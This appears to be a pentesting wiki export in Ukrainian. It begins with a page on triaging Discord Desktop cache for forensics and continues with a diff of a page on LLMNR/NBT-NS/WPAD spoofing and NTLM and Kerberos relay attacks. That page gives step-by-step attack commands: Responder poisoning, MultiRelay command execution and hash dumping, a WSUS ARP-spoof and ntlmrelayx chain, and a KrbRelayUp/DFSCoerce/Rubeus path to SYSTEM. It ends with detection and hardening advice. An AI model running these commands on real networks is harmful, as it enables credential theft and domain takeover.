Ця сторінка підсумовує, як проводити триаж артефактів кешу Discord Desktop для відновлення файлів, виведених назовні, webhook-ендпойнтів та хронології активності. Discord Desktop — це Electron/Chromium-додаток і використовує Chromium Simple Cache на диску.
## Де шукати (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Ключові структури на диску всередині Cache_Data:
- index: Simple Cache index database
- data_#: Binary cache block files that can contain multiple cached objects
- f_######: Individual cached entries stored as standalone files (often larger bodies)
Примітка: Видалення повідомлень/каналів/серверів у Discord не очищує цей локальний кеш. Закешовані елементи часто залишаються, а часові мітки файлів відповідають активності користувача, що дозволяє відновлювати хронологію.
## Що можна відновити
- Виведені вкладення та мініатюри, отримані через cdn.discordapp.com/media.discordapp.net
- Зображення, GIF, відео (наприклад, .jpg, .png, .gif, .webp, .mp4, .webm)
- Webhook URLs (https://discord.com/api/webhooks/…)
- Discord API виклики (https://discord.com/api/vX/…)
- Корисно для кореляції beaconing/exfil активності та хешування медіафайлів для зіставлення intel
## Швидка триажа (ручна)
- Шукати в кеші високосигнальні артефакти:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- Сортуйте кешовані записи за часом модифікації, щоб швидко побудувати хронологію (mtime відображає момент, коли об'єкт потрапив у кеш):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## Парсинг f_* записів (HTTP body + headers)
Файли, що починаються з f_, містять HTTP response headers, після яких йде тіло. Блок заголовків зазвичай закінчується \r\n\r\n. Корисні заголовки відповіді включають:
- Content-Type: To infer media type
- Content-Location or X-Original-URL: Original remote URL for preview/correlation
- Content-Encoding: May be gzip/deflate/br (Brotli)
Медіа можна витягти, відокремивши заголовки від тіла та за потреби розпакувавши згідно з Content-Encoding. Magic-byte sniffing корисний, коли Content-Type відсутній.
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- Function: Recursively scans Discords cache folder, finds webhook/API/attachment URLs, parses f_* bodies, optionally carves media, and outputs HTML + CSV timeline reports with SHA256 hashes.
Example CLI usage:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
Key options:
- --cache: Path to Cache_Data
- --format html|csv|both
- --timeline: Створити впорядковану CSV-таймлайн (за часом модифікації)
- --extra: Також сканувати суміжні Code Cache і GPUCache
- --carve: Вирізати медіа з сирих байтів поблизу збігів regex (images/video)
- Output: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
## Поради аналітику
- Корелюйте час модифікації (mtime) файлів f_* і data_* з вікнами активності користувача/атакувальника, щоб реконструювати таймлайн.
- Хешуйте відновлені медіа (SHA-256) і порівнюйте з відомими шкідливими або exfil наборами даних.
- Вилучені webhook URL можна перевірити на працездатність або змінити (rotate); розгляньте додавання їх до blocklists і ретро-хантинг проксі.
- Cache зберігається навіть після «витирання» на боці сервера. Якщо можлива аквізиція, зберіть весь каталог Cache та суміжні кеші (Code Cache, GPUCache).
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,77 +1,77 @@
# Спуфінг LLMNR, NBT-NS, mDNS/DNS та WPAD і атаки реле
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
{{#include ../../banners/hacktricks-training.md}}
## Мережеві протоколи
### Протоколи локального розв'язання імен
### Local Host Resolution Protocols
- **LLMNR, NBT-NS та mDNS**:
- Microsoft та інші операційні системи використовують LLMNR та NBT-NS для локального розв'язання імен, коли DNS не працює. Аналогічно, системи Apple та Linux використовують mDNS.
- Ці протоколи підлягають перехопленню та спуфінгу через їх неавтентифіковану, трансляційну природу через UDP.
- [Responder](https://github.com/lgandx/Responder) може бути використаний для імітації сервісів, надсилаючи підроблені відповіді до хостів, які запитують ці протоколи.
- **LLMNR, NBT-NS, and mDNS**:
- Microsoft та інші операційні системи використовують LLMNR і NBT-NS для локального розв'язання імен, коли DNS не працює. Аналогічно, системи Apple і Linux використовують mDNS.
- Ці протоколи вразливі до перехоплення та spoofing через їхню неавтентифіковану, широкомовну природу поверх UDP.
- [Responder](https://github.com/lgandx/Responder) може використовуватись для імітації сервісів шляхом відправки підроблених відповідей хостам, що роблять запити цими протоколами.
- Додаткову інформацію про імітацію сервісів за допомогою Responder можна знайти [тут](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Протокол автоматичного виявлення веб-проксі (WPAD)
### Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD дозволяє браузерам автоматично виявляти налаштування проксі.
- Виявлення здійснюється через DHCP, DNS або повернення до LLMNR та NBT-NS, якщо DNS не працює.
- Responder може автоматизувати атаки WPAD, направляючи клієнтів до шкідливих WPAD-серверів.
- Виявлення здійснюється через DHCP, DNS або повернення до LLMNR та NBT-NS, якщо DNS не спрацював.
- Responder може автоматизувати WPAD-атаки, спрямовуючи клієнтів на шкідливі WPAD-сервери.
### Responder для отруєння протоколів
### Responder for Protocol Poisoning
- **Responder** - це інструмент, що використовується для отруєння запитів LLMNR, NBT-NS та mDNS, вибірково відповідаючи на основі типів запитів, переважно націлюючись на SMB-сервіси.
- Він попередньо встановлений у Kali Linux, налаштовується за адресою `/etc/responder/Responder.conf`.
- Responder відображає захоплені хеші на екрані та зберігає їх у каталозі `/usr/share/responder/logs`.
- Він підтримує як IPv4, так і IPv6.
- Версія Responder для Windows доступна [тут](https://github.com/lgandx/Responder-Windows).
- **Responder** — інструмент для отруєння (poisoning) запитів LLMNR, NBT-NS та mDNS, вибірково відповідає в залежності від типу запиту, головним чином націлений на SMB-сервіси.
- Він попередньо встановлений в Kali Linux, конфігурується в `/etc/responder/Responder.conf`.
- Responder показує захоплені хеші на екрані та зберігає їх у директорії `/usr/share/responder/logs`.
- Підтримує як IPv4, так і IPv6.
- Windows-версія Responder доступна [тут](https://github.com/lgandx/Responder-Windows).
#### Запуск Responder
#### Running Responder
- Щоб запустити Responder з налаштуваннями за замовчуванням: `responder -I <Interface>`
- Для більш агресивного прослуховування (з потенційними побічними ефектами): `responder -I <Interface> -P -r -v`
- Техніки для захоплення NTLMv1 викликів/відповідей для легшого злому: `responder -I <Interface> --lm --disable-ess`
- Імітацію WPAD можна активувати за допомогою: `responder -I <Interface> --wpad`
- Запити NetBIOS можуть бути вирішені на IP-адресу зловмисника, і можна налаштувати проксі для аутентифікації: `responder.py -I <interface> -Pv`
- To run Responder with default settings: `responder -I <Interface>`
- For more aggressive probing (with potential side effects): `responder -I <Interface> -P -r -v`
- Techniques to capture NTLMv1 challenges/responses for easier cracking: `responder -I <Interface> --lm --disable-ess`
- WPAD impersonation can be activated with: `responder -I <Interface> --wpad`
- NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: `responder.py -I <interface> -Pv`
### Отруєння DHCP за допомогою Responder
### DHCP Poisoning with Responder
- Спуфінг відповідей DHCP може назавжди отруїти маршрутизаційну інформацію жертви, пропонуючи більш прихований варіант, ніж отруєння ARP.
- Підробка DHCP-відповідей може постійно отруїти маршрутизаційну інформацію жертви, пропонуючи менш помітну альтернативу ARP poisoning.
- Це вимагає точного знання конфігурації цільової мережі.
- Запуск атаки: `./Responder.py -I eth0 -Pdv`
- Цей метод може ефективно захоплювати NTLMv1/2 хеші, але вимагає обережного поводження, щоб уникнути порушення мережі.
- Цей метод ефективно дозволяє захоплювати NTLMv1/2 хеші, але потребує обережного виконання, щоб уникнути порушень роботи мережі.
### Захоплення облікових даних за допомогою Responder
### Capturing Credentials with Responder
- Responder буде імітувати сервіси, використовуючи вищезгадані протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається аутентифікуватися проти спуфлених сервісів.
- Можна спробувати знизити до NetNTLMv1 або відключити ESS для легшого злому облікових даних.
- Responder буде імітувати сервіси, використовуючи вищезазначені протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається автентифікуватися проти підроблених сервісів.
- Можна намагатись знизити рівень захисту до NetNTLMv1 або вимкнути ESS для полегшення злому облікових даних.
Важливо зазначити, що використання цих технік має здійснюватися легально та етично, забезпечуючи належну авторизацію та уникаючи порушення або несанкціонованого доступу.
Вкрай важливо зазначити, що застосування цих технік має здійснюватися законно і етично, з належною авторизацією та униканням порушення або несанкціонованого доступу.
## Inveigh
Inveigh - це інструмент для тестувальників на проникнення та червоних команд, розроблений для систем Windows. Він пропонує функціональність, подібну до Responder, виконуючи спуфінг та атаки "людина посередині". Інструмент еволюціонував з PowerShell-скрипта до бінарного файлу C#, з [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) та [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) як основними версіями. Детальні параметри та інструкції можна знайти в [**вікі**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh — інструмент для penetration testers and red teamers, призначений для Windows-систем. Він надає функціонал, схожий на Responder, виконуючи spoofing та man-in-the-middle атаки. Інструмент еволюціонував від PowerShell-скрипту до C# бінарника, з [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) та [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) як основними версіями. Детальні параметри та інструкції можна знайти у [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh можна запускати через PowerShell:
Inveigh can be operated through PowerShell:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Або виконано як бінарний файл C#:
Або виконано як двійковий файл C#:
```bash
Inveigh.exe
```
### NTLM Relay Attack
Ця атака використовує сесії аутентифікації SMB для доступу до цільової машини, надаючи системну оболонку у разі успіху. Основні передумови включають:
Ця атака використовує сеанси аутентифікації SMB для отримання доступу до цільової машини і надання system shell у разі успіху. Ключові передумови включають:
- Аутентифікований користувач повинен мати доступ до локального адміністратора на пересланому хості.
- Підписування SMB повинно бути вимкнено.
- Аутентифікований користувач повинен мати доступ Local Admin на хості, куди пересилається аутентифікація.
- SMB signing має бути вимкнено.
#### 445 Port Forwarding and Tunneling
#### 445 Перенаправлення та тунелювання порту
У сценаріях, де безпосереднє підключення до мережі неможливе, трафік на порту 445 потрібно переслати та тунелювати. Інструменти, такі як [**PortBender**](https://github.com/praetorian-inc/PortBender), допомагають перенаправити трафік порту 445 на інший порт, що є необхідним, коли доступ адміністратора локально доступний для завантаження драйверів.
У випадках, коли прямий мережевий доступ неможливий, трафік на порті 445 потрібно перенаправити та тунелювати. Інструменти на зразок [**PortBender**](https://github.com/praetorian-inc/PortBender) допомагають перенаправляти трафік порту 445 на інший порт, що важливо, коли є доступ Local Admin для завантаження драйвера.
PortBender налаштування та робота в Cobalt Strike:
PortBender setup and operation in Cobalt Strike:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
@ -87,17 +87,17 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Інші інструменти для атаки NTLM Relay
### Інші інструменти для NTLM Relay Attack
- **Metasploit**: Налаштування з проксі, деталями локального та віддаленого хостів.
- **smbrelayx**: Скрипт на Python для релеювання SMB-сесій та виконання команд або розгортання бекдорів.
- **MultiRelay**: Інструмент з набору Responder для релеювання конкретних користувачів або всіх користувачів, виконання команд або вивантаження хешів.
- **Metasploit**: Налаштовується з використанням проксі, деталей локального та віддаленого хостів.
- **smbrelayx**: Python-скрипт для ретранслювання SMB-сесій та виконання команд або розгортання backdoors.
- **MultiRelay**: Інструмент із набору Responder для ретранслювання конкретних користувачів або всіх користувачів, виконання команд або dump hashes.
Кожен інструмент можна налаштувати для роботи через SOCKS-проксі, якщо це необхідно, що дозволяє проводити атаки навіть з непрямим доступом до мережі.
Кожний інструмент може бути налаштований на роботу через SOCKS proxy за потреби, що дозволяє проводити атаки навіть при непрямому доступі до мережі.
### Операція MultiRelay
### Робота MultiRelay
MultiRelay виконується з директорії _**/usr/share/responder/tools**_, націлюючись на конкретні IP-адреси або користувачів.
MultiRelay запускається з директорії _**/usr/share/responder/tools**_, орієнтуючись на конкретні IP-адреси або користувачів.
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,77 +105,138 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
Ці інструменти та техніки формують всебічний набір для проведення атак NTLM Relay в різних мережевих середовищах.
Ці інструменти та техніки становлять комплексний набір для проведення NTLM Relay атак у різних мережевих середовищах.
### Примус NTLM входів
### Зловживання WSUS HTTP (8530) для NTLM Relay до LDAP/SMB/AD CS (ESC8)
У Windows ви **можете примусити деякі привілейовані облікові записи автентифікуватися на довільних машинах**. Прочитайте наступну сторінку, щоб дізнатися як:
WSUS клієнти автентифікуються до свого update-сервера за допомогою NTLM поверх HTTP (8530) або HTTPS (8531). Коли HTTP увімкнено, періодичні перевірки клієнтів можна змусити або перехопити в локальному сегменті і ретранслювати за допомогою ntlmrelayx до LDAP/LDAPS/SMB або AD CS HTTP endpoint-ів (ESC8) без злому хешів. Це зливається з нормальним трафіком оновлень і часто дає автентифікації машинних акаунтів (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Розвідка
- Неаутентифіковано
- Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Аутентифіковано
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
1) Займіть позицію для MITM (той же L2), щоб клієнт резолвив WSUS server на вас (ARP/DNS poisoning, Bettercap, mitm6, etc.). Приклад з arpspoof:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) Перенаправте порт 8530 на свій relay listener (необов’язково, зручно):
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) Запустіть ntlmrelayx з HTTP listener-ом (потребує підтримки HTTP listener в Impacket; див. PR-ри нижче):
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
Інші поширені цілі:
- Relay to SMB (if signing off) for exec/dump: -t smb://<host>
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://<DC>
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
For deeper AD CS abuse paths and tooling, see the AD CS page:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) Викличте перевірку клієнта або дочекайтесь за розкладом. На клієнті:
wuauclt.exe /detectnow
or use the Windows Update UI (Check for updates).
5) Використовуйте аутентифіковані SOCKS-сесії (якщо -socks) або прямі результати relay для post-exploitation (LDAP зміни, SMB операції або випуск сертифіката через AD CS для подальшої автентифікації).
HTTPS constraint (8531)
- Пасивний перехоплення WSUS через HTTPS неефективне, якщо клієнти не довіряють вашому сертифікату. Без довіреного сертифікату або іншого розриву TLS, NTLM handshake неможливо зібрати/ретранслювати з WSUS HTTPS трафіку.
Примітки
- WSUS було оголошено deprecated, але залишається поширеним; HTTP (8530) досі часто використовується в багатьох середовищах.
- Корисні помічники: wsusniff.py (спостереження HTTP WSUS check-in), wsuspider.sh (перераховує WUServer/WUStatusServer з GPO), NetExec reg-query для масового опитування.
- Impacket відновив підтримку HTTP listener-а для ntlmrelayx у PR #2034 (спочатку додано в PR #913).
### Примусові NTLM логіни
В Windows ви можете змусити деякі привілейовані акаунти автентифікуватися на довільних машинах. Прочитайте наступну сторінку, щоб дізнатися як:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Атака Kerberos Relay
## Kerberos Relay attack
**Атака Kerberos relay** викрадає **AP-REQ квиток** з одного сервісу і повторно використовує його проти другого сервісу, який має **той же ключ комп'ютерного облікового запису** (оскільки обидва SPN знаходяться на одному обліковому записі `$`). Це працює, незважаючи на те, що **класи сервісів SPN різні** (наприклад, `CIFS/``LDAP/`), оскільки *ключ*, який розшифровує квиток, є NT хешем машини, а не рядком SPN, і рядок SPN не є частиною підпису.
A **Kerberos relay attack** викрадає **AP-REQ ticket** з одного сервісу і повторно використовує його проти другого сервісу, який має той самий **computer-account key** (бо обидва SPN сидять на одному `$` machine account). Це працює навіть якщо **service classes** SPN різняться (наприклад `CIFS/``LDAP/`), тому що *ключ*, який дешифрує ticket — це NT hash машини, а не рядок SPN, і рядок SPN не є частиною підпису.
На відміну від NTLM relay, стрибок обмежений *тією ж хостом*, але якщо ви націлюєтеся на протокол, який дозволяє вам записувати в LDAP, ви можете з'єднатися з **Resource-Based Constrained Delegation (RBCD)** або **AD CS enrollment** і отримати **NT AUTHORITY\SYSTEM** за один раз.
На відміну від NTLM relay, перехід обмежений *тим же хостом*, але якщо ви націлені на протокол, який дозволяє писати в LDAP, ви можете зв’язати це в **Resource-Based Constrained Delegation (RBCD)** або **AD CS enrollment** і отримати **NT AUTHORITY\SYSTEM** за один раз.
Для детальної інформації про цю атаку перевірте:
For detailed info about this attack check:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Основи Kerberos**
- 1. **Kerberos basics**
| Токен | Призначення | Відношення до реле |
| Token | Purpose | Relay relevance |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Доказує користувача KDC | неушкоджений |
| **Квиток сервісу / TGS-REQ ↔ REP** | Прив'язаний до одного **SPN**; зашифрований ключем власника SPN | взаємозамінні, якщо SPN ділять обліковий запис |
| **AP-REQ** | Клієнт надсилає `TGS` до сервісу | **що ми крадемо та повторно використовуємо** |
| **TGT / AS-REQ ↔ REP** | Підтверджує користувача перед KDC | не зачіпається |
| **Service ticket / TGS-REQ ↔ REP** | Прив’язаний до одного **SPN**; зашифрований ключем власника SPN | взаємозамінний, якщо SPN прив’язані до одного акаунта |
| **AP-REQ** | Клієнт надсилає `TGS` сервісу | **що ми викрадаємо та повторно використовуємо** |
* Квитки зашифровані з використанням **ключа, отриманого з пароля облікового запису, що володіє SPN**.
* **Аутентифікатор** всередині AP-REQ має 5-хвилинний часовий штамп; повторне використання в цьому вікні є дійсним, поки кеш сервісу не побачить дублікат.
* Windows рідко перевіряє, чи рядок SPN у квитку відповідає сервісу, до якого ви звертаєтеся, тому квиток для `CIFS/HOST` зазвичай розшифровується нормально на `LDAP/HOST`.
* Квитки зашифровані **ключем, похідним від пароля акаунта, що володіє SPN**.
* **Authenticator** всередині AP-REQ має 5-хвилинну мітку часу; повторний програвання в цьому вікні є валідним, поки кеш сервісу не виявить дубліката.
* Windows рідко перевіряє, чи рядок SPN у ticket збігається з сервісом, до якого ви звертаєтесь, тож ticket для `CIFS/HOST` зазвичай успішно дешифрується на `LDAP/HOST`.
- 2. **Що має бути правдою для реле Kerberos**
- 2. **What must be true to relay Kerberos**
1. **Спільний ключ:** джерело та цільові SPN належать до одного комп'ютерного облікового запису (за замовчуванням на серверах Windows).
2. **Без захисту каналу:** SMB/LDAP підпис вимкнений, а EPA вимкнено для HTTP/LDAPS.
3. **Ви можете перехопити або примусити автентифікацію:** отруєння LLMNR/NBNS, спуфінг DNS, **PetitPotam / DFSCoerce RPC**, фальшивий AuthIP, зловмисний DCOM тощо.
4. **Джерело квитка не використано раніше:** ви виграєте гонку до того, як реальний пакет надійде, або повністю заблокуєте його; в іншому випадку кеш повторного використання сервера активує Подію 4649.
5. Вам потрібно якимось чином мати можливість виконати **MitM у комунікації**, можливо, будучи частиною групи DNSAmins, щоб змінити DNS домену або мати можливість змінити файл HOST жертви.
1. **Shared key:** джерельні та цільові SPN належать одному й тому ж computer account (за замовчуванням на Windows серверах).
2. **No channel protection:** SMB/LDAP signing вимкнено та EPA вимкнено для HTTP/LDAPS.
3. **You can intercept or coerce authentication:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM тощо.
4. **Ticket source not already used:** ви маєте перемогти в гонитві до того, як реальний пакет дійде, або повністю його заблокувати; інакше кеш повторів сервера зафіксує Event 4649.
5. Вам якось потрібно вміти виконувати **MitM у комунікації** — наприклад бути в групі DNSAmins щоб змінювати DNS домену або мати змогу змінити HOST файл жертви.
### Кроки атаки Kerberos Relay
### Kerberos Relay Steps
- 3.1 **Розвідка хоста**
- 3.1 **Recon the host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Запустіть прослуховувач реле**
- 3.2 **Запустіть relay listener**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` об'єднує **KrbRelay → LDAP → RBCD → Rubeus → обхід SCM** в одному бінарному файлі.
`KrbRelayUp` упаковує **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** в один binary.
- 3.3 **Примусити аутентифікацію Kerberos**
- 3.3 **Coerce Kerberos auth**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce змушує DC надіслати нам квиток Kerberos `CIFS/DC01`.
DFSCoerce змушує DC надіслати нам Kerberos `CIFS/DC01` квиток.
- 3.4 **Реле AP-REQ**
- 3.4 **Relay the AP-REQ**
KrbRelay витягує GSS blob з SMB, переформатовує його в LDAP bind і пересилає на `ldap://DC01` — автентифікація успішна, оскільки **той самий ключ** розшифровує його.
KrbRelay витягує GSS blob із SMB, пакує його в LDAP bind і пересилає на `ldap://DC01` — автентифікація вдається, оскільки **той самий ключ** його розшифровує.
- 3.5 **Зловживання LDAP ➜ RBCD ➜ SYSTEM**
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -183,47 +244,59 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
Ви тепер володієте **NT AUTHORITY\SYSTEM**.
Тепер ви володієте **NT AUTHORITY\SYSTEM**.
### **Більше шляхів, які варто знати**
| Вектор | Трюк | Чому це важливо |
|--------|-------|----------------|
| **AuthIP / IPSec** | Фальшивий сервер надсилає **GSS-ID payload** з будь-яким SPN; клієнт створює AP-REQ прямо до вас | Працює навіть через підмережі; облікові дані машини за замовчуванням |
| **DCOM / MSRPC** | Зловмисний OXID резолвер змушує клієнта автентифікуватися до довільного SPN і порту | Чисте *локальне* підвищення привілеїв; обходить брандмауер |
| **AD CS Web Enroll** | Пересилайте квиток машини до `HTTP/CA` і отримайте сертифікат, потім **PKINIT** для створення TGT | Обходить захист підпису LDAP |
| **Shadow Credentials** | Запишіть `msDS-KeyCredentialLink`, потім PKINIT з підробленою парою ключів | Немає потреби додавати обліковий запис комп'ютера |
| Вектор | Хитрість | Чому це важливо |
|--------|----------|-----------------|
| **AuthIP / IPSec** | Підроблений сервер надсилає **GSS-ID payload** з будь-яким SPN; клієнт формує AP-REQ безпосередньо до вас | Працює навіть через підмережі; машинні облікові дані за замовчуванням |
| **DCOM / MSRPC** | Зловмисний OXID resolver змушує клієнта автентифікуватися до довільного SPN і порту | Чисте *локальне* priv-esc; обходить firewall |
| **AD CS Web Enroll** | Переслати машинний квиток до `HTTP/CA` і отримати сертифікат, потім **PKINIT** для випуску TGTs | Обминає захист підписування LDAP |
| **Shadow Credentials** | Записати `msDS-KeyCredentialLink`, потім PKINIT з підробленою парою ключів | Немає потреби додавати обліковий запис компютера |
### **Виправлення помилок**
### **Усунення неполадок**
| Помилка | Значення | Виправлення |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Ключ квитка ≠ ключ цілі | Неправильний хост/SPN |
| `KRB_AP_ERR_SKEW` | Час > 5 хвилин зміщення | Синхронізуйте час або використовуйте `w32tm` |
| Зв'язок LDAP не вдався | Підписання примусове | Використовуйте шлях AD CS або вимкніть підписання |
| Спам події 4649 | Служба побачила дубльований автентифікатор | заблокувати або змагатися з оригінальним пакетом |
|--------|---------|------------|
| `KRB_AP_ERR_MODIFIED` | Ключ квитка ≠ ключ цілі | Невірний хост/SPN |
| `KRB_AP_ERR_SKEW` | Годинник має зсув > 5 хв | Синхронізуйте час або використайте `w32tm` |
| LDAP bind fails | Підписування примусово ввімкнено | Використайте шлях AD CS або вимкніть підписування |
| Event 4649 spam | Сервіс побачив дубльований Authenticator | Блокувати або випередити оригінальний пакет |
### **Виявлення**
* Сплеск у **Event 4769** для `CIFS/`, `HTTP/`, `LDAP/` з одного джерела протягом кількох секунд.
* **Event 4649** на службі вказує на виявлення повтору.
* Керберосний вхід з **127.0.0.1** (пересилання до локального SCM) є дуже підозрілим—відстежуйте за допомогою правила Sigma в документації KrbRelayUp.
* Слідкуйте за змінами в атрибутах `msDS-AllowedToActOnBehalfOfOtherIdentity` або `msDS-KeyCredentialLink`.
* **Event 4649** на сервісі вказує на виявлення replay.
* Kerberos логон з **127.0.0.1** (relay до локального SCM) є вкрай підозрілим — відстежуйте через правило Sigma у документації KrbRelayUp.
* Слідкуйте за змінами атрибутів `msDS-AllowedToActOnBehalfOfOtherIdentity` або `msDS-KeyCredentialLink`.
## **Ускладнення**
## **Підсилення захисту**
1. **Примусьте підписання LDAP та SMB + EPA** на кожному сервері.
2. **Розділіть SPN** так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP.
3. Виправте вектори примусу (PetitPotam KB5005413, DFS, AuthIP).
4. Встановіть **`ms-DS-MachineAccountQuota = 0`** для зупинки несанкціонованих приєднань комп'ютерів.
5. Сповіщайте про **Event 4649** та несподівані локальні входи Kerberos.
1. Примусово ввімкніть підписування LDAP і SMB та EPA на кожному сервері.
2. Розділіть SPN так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP.
3. Запатчіть вектори примусу (PetitPotam KB5005413, DFS, AuthIP).
4. Встановіть **`ms-DS-MachineAccountQuota = 0`** щоб зупинити несанкціоновані приєднання комп’ютерів.
5. Налаштуйте оповіщення щодо **Event 4649** та несподіваних loopback Kerberos логонів.
## Посилання
## Джерела
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
